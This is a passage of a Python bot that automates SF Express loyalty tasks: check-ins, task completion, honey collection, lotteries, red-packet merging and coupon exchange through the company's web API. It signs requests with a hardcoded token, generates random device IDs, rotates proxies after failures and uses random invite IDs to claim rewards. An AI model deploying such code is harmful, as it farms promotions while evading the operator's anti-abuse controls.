self.force_exchange = FORCE_EXCHANGE
|
||||
self.totalPoint = 0
|
||||
self.usableHoney = 0
|
||||
self.activityEndTime = ""
|
||||
self.target_amounts = parse_exchange_range(EXCHANGE_RANGE)
|
||||
|
||||
def get_deviceId(self, characters='abcdef0123456789'):
|
||||
result = ''
|
||||
for char in 'xxxxxxxx-xxxx-xxxx':
|
||||
if char == 'x':
|
||||
result += random.choice(characters)
|
||||
elif char == 'X':
|
||||
result += random.choice(characters).upper()
|
||||
else:
|
||||
result += char
|
||||
return result
|
||||
|
||||
def login(self, sfurl):
|
||||
try:
|
||||
decoded_url = unquote(sfurl)
|
||||
ress = self.s.get(decoded_url, headers=self.headers)
|
||||
self.user_id = self.s.cookies.get_dict().get('_login_user_id_', '')
|
||||
self.phone = self.s.cookies.get_dict().get('_login_mobile_', '')
|
||||
self.mobile = self.phone[:3] + "*" * 4 + self.phone[7:] if self.phone else ''
|
||||
|
||||
if self.phone:
|
||||
Log(f'👤 账号{self.index}:【{self.mobile}】登陆成功')
|
||||
return True
|
||||
else:
|
||||
Log(f'❌ 账号{self.index}获取用户信息失败')
|
||||
return False
|
||||
except Exception as e:
|
||||
Log(f'❌ 登录异常: {str(e)}')
|
||||
return False
|
||||
|
||||
def getSign(self):
|
||||
timestamp = str(int(round(time.time() * 1000)))
|
||||
token = 'wwesldfs29aniversaryvdld29'
|
||||
sysCode = 'MCS-MIMP-CORE'
|
||||
data = f'token={token}×tamp={timestamp}&sysCode={sysCode}'
|
||||
signature = hashlib.md5(data.encode()).hexdigest()
|
||||
data = {
|
||||
'sysCode': sysCode,
|
||||
'timestamp': timestamp,
|
||||
'signature': signature
|
||||
}
|
||||
self.headers.update(data)
|
||||
return data
|
||||
|
||||
def do_request(self, url, data={}, req_type='post', max_retries=3):
|
||||
self.getSign()
|
||||
retry_count = 0
|
||||
|
||||
while retry_count < max_retries:
|
||||
try:
|
||||
if req_type.lower() == 'get':
|
||||
response = self.s.get(url, headers=self.headers, timeout=30)
|
||||
elif req_type.lower() == 'post':
|
||||
response = self.s.post(url, headers=self.headers, json=data, timeout=30)
|
||||
else:
|
||||
raise ValueError('Invalid req_type: %s' % req_type)
|
||||
|
||||
response.raise_for_status()
|
||||
|
||||
try:
|
||||
res = response.json()
|
||||
return res
|
||||
except json.JSONDecodeError as e:
|
||||
print(f'JSON解析失败: {str(e)}, 响应内容: {response.text[:200]}')
|
||||
retry_count += 1
|
||||
if retry_count < max_retries:
|
||||
print(f'正在进行第{retry_count + 1}次重试...')
|
||||
time.sleep(2)
|
||||
continue
|
||||
return None
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
retry_count += 1
|
||||
if retry_count < max_retries:
|
||||
print(f'请求失败,正在切换代理重试 ({retry_count}/{max_retries}): {str(e)}')
|
||||
self.proxy = get_proxy()
|
||||
if self.proxy:
|
||||
print(f"✅ 成功获取新代理: {self.proxy['http']}")
|
||||
self.s.proxies = self.proxy
|
||||
time.sleep(2)
|
||||
else:
|
||||
print('请求最终失败:', e)
|
||||
return None
|
||||
|
||||
return None
|
||||
|
||||
def sign(self):
|
||||
print(f'🎯 开始执行签到')
|
||||
json_data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
count_day = response.get('obj', {}).get('countDay', 0)
|
||||
if response.get('obj') and response['obj'].get('integralTaskSignPackageVOList'):
|
||||
packet_name = response["obj"]["integralTaskSignPackageVOList"][0]["packetName"]
|
||||
Log(f'✨ 签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天')
|
||||
else:
|
||||
Log(f'📝 今日已签到,本周累计签到【{count_day + 1}】天')
|
||||
else:
|
||||
print(f'❌ 签到失败!原因:{response.get("errorMessage")}')
|
||||
|
||||
def superWelfare_receiveRedPacket(self):
|
||||
print(f'🎁 超值福利签到')
|
||||
json_data = {
|
||||
'channel': 'czflqdlhbxcx'
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberActLengthy~redPacketActivityService~superWelfare~receiveRedPacket'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
gift_list = response.get('obj', {}).get('giftList', [])
|
||||
if response.get('obj', {}).get('extraGiftList', []):
|
||||
gift_list.extend(response['obj']['extraGiftList'])
|
||||
gift_names = ', '.join([gift['giftName'] for gift in gift_list])
|
||||
receive_status = response.get('obj', {}).get('receiveStatus')
|
||||
status_message = '领取成功' if receive_status == 1 else '已领取过'
|
||||
Log(f'🎉 超值福利签到[{status_message}]: {gift_names}')
|
||||
else:
|
||||
error_message = response.get('errorMessage') or json.dumps(response) or '无返回'
|
||||
print(f'❌ 超值福利签到失败: {error_message}')
|
||||
|
||||
def get_SignTaskList(self, END=False):
|
||||
if not END: print(f'🎯 开始获取签到任务列表')
|
||||
json_data = {
|
||||
'channelType': '1',
|
||||
'deviceId': self.get_deviceId(),
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True and response.get('obj') != []:
|
||||
self.totalPoint = response["obj"]["totalPoint"]
|
||||
if END:
|
||||
Log(f'💰 当前积分:【{self.totalPoint}】')
|
||||
return
|
||||
Log(f'💰 执行前积分:【{self.totalPoint}】')
|
||||
for task in response["obj"]["taskTitleLevels"]:
|
||||
self.taskId = task["taskId"]
|
||||
self.taskCode = task["taskCode"]
|
||||
self.strategyId = task["strategyId"]
|
||||
self.title = task["title"]
|
||||
status = task["status"]
|
||||
skip_title = ['用行业模板寄件下单', '去新增一个收件偏好', '参与积分活动']
|
||||
if status == 3:
|
||||
print(f'✨ {self.title}-已完成')
|
||||
continue
|
||||
if self.title in skip_title:
|
||||
print(f'⏭️ {self.title}-跳过')
|
||||
continue
|
||||
else:
|
||||
# print("taskId:", taskId)
|
||||
# print("taskCode:", taskCode)
|
||||
# print("----------------------")
|
||||
self.doTask()
|
||||
time.sleep(3)
|
||||
self.receiveTask()
|
||||
|
||||
def doTask(self):
|
||||
print(f'🎯 开始去完成【{self.title}】任务')
|
||||
json_data = {
|
||||
'taskCode': self.taskCode,
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
print(f'✨ 【{self.title}】任务-已完成')
|
||||
else:
|
||||
print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}')
|
||||
|
||||
def receiveTask(self):
|
||||
print(f'🎁 开始领取【{self.title}】任务奖励')
|
||||
json_data = {
|
||||
"strategyId": self.strategyId,
|
||||
"taskId": self.taskId,
|
||||
"taskCode": self.taskCode,
|
||||
"deviceId": self.get_deviceId()
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
print(f'✨ 【{self.title}】任务奖励领取成功!')
|
||||
else:
|
||||
print(f'❌ 【{self.title}】任务-{response.get("errorMessage")}')
|
||||
|
||||
def do_honeyTask(self):
|
||||
# 做任务
|
||||
json_data = {"taskCode": self.taskCode}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
print(f'>【{self.taskType}】任务-已完成')
|
||||
else:
|
||||
print(f'>【{self.taskType}】任务-{response.get("errorMessage")}')
|
||||
|
||||
def receive_honeyTask(self):
|
||||
print('>>>执行收取丰蜜任务')
|
||||
# 收取
|
||||
self.headers['syscode'] = 'MCS-MIMP-CORE'
|
||||
self.headers['channel'] = 'wxwdsj'
|
||||
self.headers['accept'] = 'application/json, text/plain, */*'
|
||||
self.headers['content-type'] = 'application/json;charset=UTF-8'
|
||||
self.headers['platform'] = 'MINI_PROGRAM'
|
||||
json_data = {"taskType": self.taskType}
|
||||
# print(json_data)
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~receiveHoney'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
print(f'收取任务【{self.taskType}】成功!')
|
||||
else:
|
||||
print(f'收取任务【{self.taskType}】失败!原因:{response.get("errorMessage")}')
|
||||
|
||||
def get_coupom(self, goods):
|
||||
json_data = {
|
||||
"from": "Point_Mall",
|
||||
"orderSource": "POINT_MALL_EXCHANGE",
|
||||
"goodsNo": goods['goodsNo'],
|
||||
"quantity": 1,
|
||||
"taskCode": self.taskCode
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder'
|
||||
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def get_coupom_list(self):
|
||||
json_data = {
|
||||
"memGrade": 2,
|
||||
"categoryCode": "SHTQ",
|
||||
"showCode": "SHTQWNTJ"
|
||||
}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list'
|
||||
|
||||
response = self.do_request(url, data=json_data)
|
||||
|
||||
if response.get('success') == True:
|
||||
all_goods = []
|
||||
for obj in response.get("obj", []):
|
||||
goods_list = obj.get("goodsList", [])
|
||||
all_goods.extend(goods_list)
|
||||
|
||||
for goods in all_goods:
|
||||
exchange_times_limit = goods.get('exchangeTimesLimit', 0)
|
||||
|
||||
if exchange_times_limit >= 1:
|
||||
if self.get_coupom(goods):
|
||||
print('✨ 成功领取券,任务结束!')
|
||||
return
|
||||
print('📝 所有券尝试完成,没有可用的券或全部领取失败。')
|
||||
else:
|
||||
print(f'> 获取券列表失败!原因:{response.get("errorMessage")}')
|
||||
|
||||
def get_honeyTaskListStart(self):
|
||||
print('🍯 开始获取采蜜换大礼任务列表')
|
||||
json_data = {}
|
||||
self.headers['channel'] = 'wxwdsj'
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~taskDetail'
|
||||
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
for item in response["obj"]["list"]:
|
||||
self.taskType = item["taskType"]
|
||||
status = item["status"]
|
||||
if status == 3:
|
||||
print(f'✨ 【{self.taskType}】-已完成')
|
||||
continue
|
||||
if "taskCode" in item:
|
||||
self.taskCode = item["taskCode"]
|
||||
if self.taskType == 'DAILY_VIP_TASK_TYPE':
|
||||
self.get_coupom_list()
|
||||
else:
|
||||
self.do_honeyTask()
|
||||
if self.taskType == 'BEES_GAME_TASK_TYPE':
|
||||
self.honey_damaoxian()
|
||||
time.sleep(2)
|
||||
|
||||
def honey_damaoxian(self):
|
||||
print('>>>执行大冒险任务')
|
||||
gameNum = 5
|
||||
for i in range(1, gameNum):
|
||||
json_data = {
|
||||
'gatherHoney': 20,
|
||||
}
|
||||
if gameNum < 0: break
|
||||
print(f'>>开始第{i}次大冒险')
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGameService~gameReport'
|
||||
response = self.do_request(url, data=json_data)
|
||||
stu = response.get('success')
|
||||
if stu:
|
||||
gameNum = response.get('obj')['gameNum']
|
||||
print(f'>大冒险成功!剩余次数【{gameNum}】')
|
||||
time.sleep(2)
|
||||
gameNum -= 1
|
||||
elif response.get("errorMessage") == '容量不足':
|
||||
print(f'> 需要扩容')
|
||||
self.honey_expand()
|
||||
else:
|
||||
print(f'>大冒险失败!【{response.get("errorMessage")}】')
|
||||
break
|
||||
|
||||
def honey_expand(self):
|
||||
print('>>>容器扩容')
|
||||
gameNum = 5
|
||||
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~expand'
|
||||
response = self.do_request(url, data={})
|
||||
stu = response.get('success', False)
|
||||
if stu:
|
||||
obj = response.get('obj')
|
||||
print(f'>成功扩容【{obj}】容量')
|
||||
else:
|
||||
print(f'>扩容失败!【{response.get("errorMessage")}】')
|
||||
|
||||
def honey_indexData(self, END=False):
|
||||
if not END: print('--------------------------------\n🍯 开始执行采蜜换大礼任务')
|
||||
random_invite = random.choice([invite for invite in inviteId if invite != self.user_id])
|
||||
self.headers['channel'] = 'wxwdsj'
|
||||
json_data = {"inviteUserId": random_invite}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeIndexService~indexData'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
self.usableHoney = response.get('obj').get('usableHoney')
|
||||
activityEndTime = response.get('obj').get('activityEndTime', '')
|
||||
|
||||
if activityEndTime:
|
||||
try:
|
||||
self.activityEndTime = activityEndTime.split()[0] if ' ' in activityEndTime else activityEndTime
|
||||
activity_end_time = datetime.strptime(activityEndTime, "%Y-%m-%d %H:%M:%S")
|
||||
current_time = datetime.now()
|
||||
|
||||
if current_time.date() == activity_end_time.date():
|
||||
self.is_last_day = True
|
||||
if not END:
|
||||
Log(f"⏳ 本期活动今日结束,尝试自动兑换券!目标:{' > '.join(self.target_amounts)}")
|
||||
if not self.auto_exchanged:
|
||||
exchange_success = self.exchange_23_coupon()
|
||||
if exchange_success:
|
||||
self.auto_exchanged = True
|
||||
except Exception as e:
|
||||
print(f'处理活动时间异常: {str(e)}')
|
||||
self.activityEndTime = activityEndTime
|
||||
|
||||
if not END:
|
||||
Log(f'🍯 执行前丰蜜:【{self.usableHoney}】')
|
||||
if activityEndTime and not self.is_last_day:
|
||||
print(f'📅 本期活动结束时间【{activityEndTime}】')
|
||||
|
||||
taskDetail = response.get('obj').get('taskDetail')
|
||||
if taskDetail != []:
|
||||
for task in taskDetail:
|
||||
self.taskType = task['type']
|
||||
self.receive_honeyTask()
|
||||
time.sleep(2)
|
||||
else:
|
||||
Log(f'🍯 执行后丰蜜:【{self.usableHoney}】')
|
||||
return
|
||||
|
||||
def EAR_END_2023_TaskList(self):
|
||||
print('\n🎭 开始年终集卡任务')
|
||||
json_data = {
|
||||
"activityCode": "YEAREND_2024",
|
||||
"channelType": "MINI_PROGRAM"
|
||||
}
|
||||
self.headers['channel'] = '24nzdb'
|
||||
self.headers['platform'] = 'MINI_PROGRAM'
|
||||
self.headers['syscode'] = 'MCS-MIMP-CORE'
|
||||
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList'
|
||||
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
for item in response["obj"]:
|
||||
self.title = item["taskName"]
|
||||
self.taskType = item["taskType"]
|
||||
status = item["status"]
|
||||
if status == 3:
|
||||
print(f'✨ 【{self.taskType}】-已完成')
|
||||
continue
|
||||
if self.taskType == 'INTEGRAL_EXCHANGE':
|
||||
print(f'⚠️ 积分兑换任务暂不支持')
|
||||
elif self.taskType == 'CLICK_MY_SETTING':
|
||||
self.taskCode = item["taskCode"]
|
||||
self.addDeliverPrefer()
|
||||
if "taskCode" in item:
|
||||
self.taskCode = item["taskCode"]
|
||||
self.doTask()
|
||||
time.sleep(3)
|
||||
self.receiveTask()
|
||||
else:
|
||||
print(f'⚠️ 暂时不支持【{self.title}】任务')
|
||||
|
||||
def addDeliverPrefer(self):
|
||||
print(f'>>>开始【{self.title}】任务')
|
||||
json_data = {
|
||||
"country": "中国",
|
||||
"countryCode": "A000086000",
|
||||
"province": "北京市",
|
||||
"provinceCode": "A110000000",
|
||||
"city": "北京市",
|
||||
"cityCode": "A111000000",
|
||||
"county": "东城区",
|
||||
"countyCode": "A110101000",
|
||||
"address": "1号楼1单元101",
|
||||
"latitude": "",
|
||||
"longitude": "",
|
||||
"memberId": "",
|
||||
"locationCode": "010",
|
||||
"zoneCode": "CN",
|
||||
"postCode": "",
|
||||
"takeWay": "7",
|
||||
"callBeforeDelivery": 'false',
|
||||
"deliverTag": "2,3,4,1",
|
||||
"deliverTagContent": "",
|
||||
"startDeliverTime": "",
|
||||
"selectCollection": 'false',
|
||||
"serviceName": "",
|
||||
"serviceCode": "",
|
||||
"serviceType": "",
|
||||
"serviceAddress": "",
|
||||
"serviceDistance": "",
|
||||
"serviceTime": "",
|
||||
"serviceTelephone": "",
|
||||
"channelCode": "RW11111",
|
||||
"taskId": self.taskId,
|
||||
"extJson": "{\"noDeliverDetail\":[]}"
|
||||
}
|
||||
url = 'https://ucmp.sf-express.com/cx-wechat-member/member/deliveryPreference/addDeliverPrefer'
|
||||
response = self.do_request(url, data=json_data)
|
||||
if response.get('success') == True:
|
||||
print('新增一个收件偏好,成功')
|
||||
else:
|
||||
print(f'>【{self.title}】任务-{response.get("errorMessage")}')
|
||||
|
||||
def member_day_index(self):
|
||||
print('🎭 会员日活动')
|
||||
try:
|
||||
invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id])
|
||||
payload = {'inviteUserId': invite_user_id}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~index'
|
||||
|
||||
response = self.do_request(url, data=payload)
|
||||
if response.get('success'):
|
||||
lottery_num = response.get('obj', {}).get('lotteryNum', 0)
|
||||
can_receive_invite_award = response.get('obj', {}).get('canReceiveInviteAward', False)
|
||||
if can_receive_invite_award:
|
||||
self.member_day_receive_invite_award(invite_user_id)
|
||||
self.member_day_red_packet_status()
|
||||
Log(f'🎁 会员日可以抽奖{lottery_num}次')
|
||||
for _ in range(lottery_num):
|
||||
self.member_day_lottery()
|
||||
if self.member_day_black:
|
||||
return
|
||||
self.member_day_task_list()
|
||||
if self.member_day_black:
|
||||
return
|
||||
self.member_day_red_packet_status()
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log(f'📝 查询会员日失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_receive_invite_award(self, invite_user_id):
|
||||
try:
|
||||
payload = {'inviteUserId': invite_user_id}
|
||||
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~receiveInviteAward'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
product_name = response.get('obj', {}).get('productName', '空气')
|
||||
Log(f'🎁 会员日奖励: {product_name}')
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log(f'📝 领取会员日奖励失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_lottery(self):
|
||||
try:
|
||||
payload = {}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayLotteryService~lottery'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
product_name = response.get('obj', {}).get('productName', '空气')
|
||||
Log(f'🎁 会员日抽奖: {product_name}')
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log(f'📝 会员日抽奖失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_task_list(self):
|
||||
try:
|
||||
payload = {'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
task_list = response.get('obj', [])
|
||||
for task in task_list:
|
||||
if task['status'] == 1:
|
||||
if self.member_day_black:
|
||||
return
|
||||
self.member_day_fetch_mix_task_reward(task)
|
||||
for task in task_list:
|
||||
if task['status'] == 2:
|
||||
if self.member_day_black:
|
||||
return
|
||||
if task['taskType'] in ['SEND_SUCCESS', 'INVITEFRIENDS_PARTAKE_ACTIVITY', 'OPEN_SVIP',
|
||||
'OPEN_NEW_EXPRESS_CARD', 'OPEN_FAMILY_CARD', 'CHARGE_NEW_EXPRESS_CARD',
|
||||
'INTEGRAL_EXCHANGE']:
|
||||
pass
|
||||
else:
|
||||
for _ in range(task['restFinishTime']):
|
||||
if self.member_day_black:
|
||||
return
|
||||
self.member_day_finish_task(task)
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log('📝 查询会员日任务失败: ' + error_message)
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_finish_task(self, task):
|
||||
try:
|
||||
payload = {'taskCode': task['taskCode']}
|
||||
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
Log('📝 完成会员日任务[' + task['taskName'] + ']成功')
|
||||
self.member_day_fetch_mix_task_reward(task)
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log('📝 完成会员日任务[' + task['taskName'] + ']失败: ' + error_message)
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_fetch_mix_task_reward(self, task):
|
||||
try:
|
||||
payload = {'taskType': task['taskType'], 'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'}
|
||||
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~fetchMixTaskReward'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
Log('🎁 领取会员日任务[' + task['taskName'] + ']奖励成功')
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log('📝 领取会员日任务[' + task['taskName'] + ']奖励失败: ' + error_message)
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_receive_red_packet(self, hour):
|
||||
try:
|
||||
payload = {'receiveHour': hour}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayTaskService~receiveRedPacket'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
print(f'🎁 会员日领取{hour}点红包成功')
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
print(f'📝 会员日领取{hour}点红包失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_red_packet_status(self):
|
||||
try:
|
||||
payload = {}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketStatus'
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
packet_list = response.get('obj', {}).get('packetList', [])
|
||||
for packet in packet_list:
|
||||
self.member_day_red_packet_map[packet['level']] = packet['count']
|
||||
|
||||
for level in range(1, self.max_level):
|
||||
count = self.member_day_red_packet_map.get(level, 0)
|
||||
while count >= 2:
|
||||
self.member_day_red_packet_merge(level)
|
||||
count -= 2
|
||||
packet_summary = []
|
||||
remaining_needed = 0
|
||||
|
||||
for level, count in self.member_day_red_packet_map.items():
|
||||
if count == 0:
|
||||
continue
|
||||
packet_summary.append(f"[{level}级]X{count}")
|
||||
int_level = int(level)
|
||||
if int_level < self.max_level:
|
||||
remaining_needed += 1 << (int_level - 1)
|
||||
|
||||
Log("📝 会员日合成列表: " + ", ".join(packet_summary))
|
||||
|
||||
if self.member_day_red_packet_map.get(self.max_level):
|
||||
Log(f"🎁 会员日已拥有[{self.max_level}级]红包X{self.member_day_red_packet_map[self.max_level]}")
|
||||
self.member_day_red_packet_draw(self.max_level)
|
||||
else:
|
||||
remaining = self.packet_threshold - remaining_needed
|
||||
Log(f"📝 会员日距离[{self.max_level}级]红包还差: [1级]红包X{remaining}")
|
||||
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log(f'📝 查询会员日合成失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_red_packet_merge(self, level):
|
||||
try:
|
||||
# for key,level in enumerate(self.member_day_red_packet_map):
|
||||
# pass
|
||||
payload = {'level': level, 'num': 2}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketMerge'
|
||||
|
||||
response = self.do_request(url, payload)
|
||||
if response.get('success'):
|
||||
Log(f'🎁 会员日合成: [{level}级]红包X2 -> [{level + 1}级]红包')
|
||||
self.member_day_red_packet_map[level] -= 2
|
||||
if not self.member_day_red_packet_map.get(level + 1):
|
||||
self.member_day_red_packet_map[level + 1] = 0
|
||||
self.member_day_red_packet_map[level + 1] += 1
|
||||
else:
|
||||
error_message = response.get('errorMessage', '无返回')
|
||||
Log(f'📝 会员日合成两个[{level}级]红包失败: {error_message}')
|
||||
if '没有资格参与活动' in error_message:
|
||||
self.member_day_black = True
|
||||
Log('📝 会员日任务风控')
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def member_day_red_packet_draw(self, level):
|
||||
try:
|
||||
payload = {'level': str(level)}
|
||||
url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketDraw'
|
||||
response = self.do_request(url, payload)
|
||||
if response and response.get('success'):
|
||||
coupon_names = [item['couponName'] for item in response.get('obj', [])] or []
|
||||
|
||||
Log(f"🎁 会员日提取[{level}级]红包: {', '.join(coupon_names) or '空气'}")
|
||||
else:
|
||||
error_message = response.get('errorMessage') if response else "无返回"
|
||||
Log(f"📝 会员日提取[{level}级]红包失败: {error_message}")
|
||||
if "没有资格参与活动" in error_message:
|
||||
self.memberDay_black = True
|
||||
print("📝 会员日任务风控")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def exchange_coupon(self, coupon_amount):
|
||||
"""兑换指定面额的券"""
|
||||
self.getSign()
|
||||
exchange_headers = {
|
||||
'authority': 'mcs-mimp-web.sf-express.com',
|
||||
'origin': 'https://mcs-mimp-web.sf-express.com',
|
||||
'referer': 'https://mcs-mimp-web.sf-express.com/inboxPresentCouponList',
|
||||
'content-type': 'application/json;charset=UTF-8',
|
||||
'channel': 'wxwdsj',
|
||||
'sw8': '1-ZDRlNjQwZjUtNmViYi00NmRhLThiZTMtZWEyZTUzYTlhOWFm-ZDM4MjIzM2YtMDQ1NC00ZDJlLWIwMDUtYTQyZmE1ZGE4ZTI5-0-ZmI0MDgxNzA4NWJlNGUzOThlMGI2ZjRiMDgxNzc3NDY=-d2Vi-L2luYm94UHJlc2VudENvdXBvbkxpc3Q=-L21jcy1taW1wL2NvbW1vblBvc3Qvfm1lbWJlck5vbmAjdGl2aXR5fnJlY2VpdmVFeGNoYW5nZUdpZnRCYWdTZXJ2aWNlfmxpc3Q='
|
||||
}
|
||||
headers = {**self.headers, **exchange_headers}
|
||||
|
||||
for attempt in range(1, MAX_EXCHANGE_TIMES + 1):
|
||||
try:
|
||||
list_url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGiftBagService~list'
|
||||
list_data = {"exchangeType": "EXCHANGE_SFC"}
|
||||
list_res = self.s.post(list_url, headers=headers, json=list_data, timeout=10)
|
||||
list_res.raise_for_status()
|
||||
list_json = list_res.json()
|
||||
|
||||
if not list_json.get('success'):
|
||||
return False, f"获取礼品列表失败"
|
||||
|
||||
coupon = next(
|
||||
(g for g in list_json.get('obj', [])
|
||||
if coupon_amount in g.get('giftBagName', '')),
|
||||
None
|
||||
)
|
||||
|
||||
if not coupon:
|
||||
return False, f"未找到{coupon_amount}券"
|
||||
|
||||
required_honey = coupon.get('exchangeHoney')
|
||||
if self.usableHoney < required_honey:
|
||||
return False, f"丰蜜不足:需要{required_honey},当前{self.usableHoney}"
|
||||
|
||||
exchange_url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~receiveExchangeGiftBagService~exchange'
|
||||
exchange_data = {
|
||||
"giftBagCode": coupon['giftBagCode'],
|
||||
"ruleCode": coupon['ruleCode'],
|
||||
"exchangeType": "EXCHANGE_SFC",
|
||||
"memberNo": self.user_id,
|
||||
"channel": "wxwdsj"
|
||||
}
|
||||
|
||||
exchange_res = self.s.post(exchange_url, headers=headers, json=exchange_data, timeout=10)
|
||||
exchange_res.raise_for_status()
|
||||
exchange_json = exchange_res.json()
|
||||
|
||||
if exchange_json.get('success'):
|
